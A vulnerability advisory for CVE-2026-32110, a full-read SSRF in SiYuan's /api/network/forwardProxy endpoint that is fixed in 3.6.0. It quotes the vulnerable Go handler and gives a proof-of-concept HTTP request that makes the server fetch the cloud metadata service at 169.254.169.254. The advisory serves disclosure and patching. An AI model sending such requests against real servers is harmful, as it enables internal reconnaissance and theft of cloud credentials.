CVE-2026-32110: Kernel · SiYuan has a Full-Read SSRF via /api/network/forwardProxy
Affects github.com/siyuan-note/siyuan/kernelSource GCVE Database
Not known to be exploited · CVSS 8.3 High : upgrade to 3.6.0 soon.
Data as of 5 Nov 2026, 22:34 UTC
- Patch
- Available – fixed in 3.6.0
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:LExploitation evidence
Disclosed: evidence found.
CVE published 11 Mar 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 5 Nov 2026.
What to do
Upgrade github.com/siyuan-note/siyuan/kernel to 3.6.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Gogithub.com/siyuan-note/siyuan/kernel | Affected
| Fixed in
|
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Description
### Summary The `/api/network/forwardProxy` endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services. ### Affected Code File: `/kernel/api/network.go` (Lines `153-317`) ``` func forwardProxy(c *gin.Context) { ret := gulu.Ret.NewResult() defer c.JSON(http.StatusOK, ret) arg, ok := util.JsonArg(c, ret) if !ok { return } destURL := arg["url"].(string) // VULNERABILITY: Only validates URL format, not destination if _, e := url.ParseRequestURI(destURL); nil != e { ret.Code = -1 ret.Msg = "invalid [url]" return } // ... HTTP request is made to user-controlled URL ... resp, err := request.Send(method, destURL) // Full response body is returned to the user bodyData, err := io.ReadAll(resp.Body) // ... ret.Data = data // Contains full response body } ``` ### PoC - First, authenticate with your access auth code and copy the authenticated cookie. - Now use the request below for SSRF to Access Cloud Metadata. ``` POST /api/network/forwardProxy HTTP/1.1 Host: <HOST> Cookie: siyuan=<COOKIE> Content-Length: 102 {"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}' ``` <img width="1230" height="754" alt="Screenshot 2026-03-11 at 1 23 36 AM" src="https://github.com/user-attachments/assets/60486dba-1ccd-4287-8073-b803854756a2" /> ### Impact - Internal Network Reconnaissance: Attackers can scan internal services - Cloud Credential Theft: Potential access to cloud metadata and IAM credentials - Data Exfiltration: Server can be used as a proxy to access internal resources - Firewall Bypass: Requests originate from trusted internal IP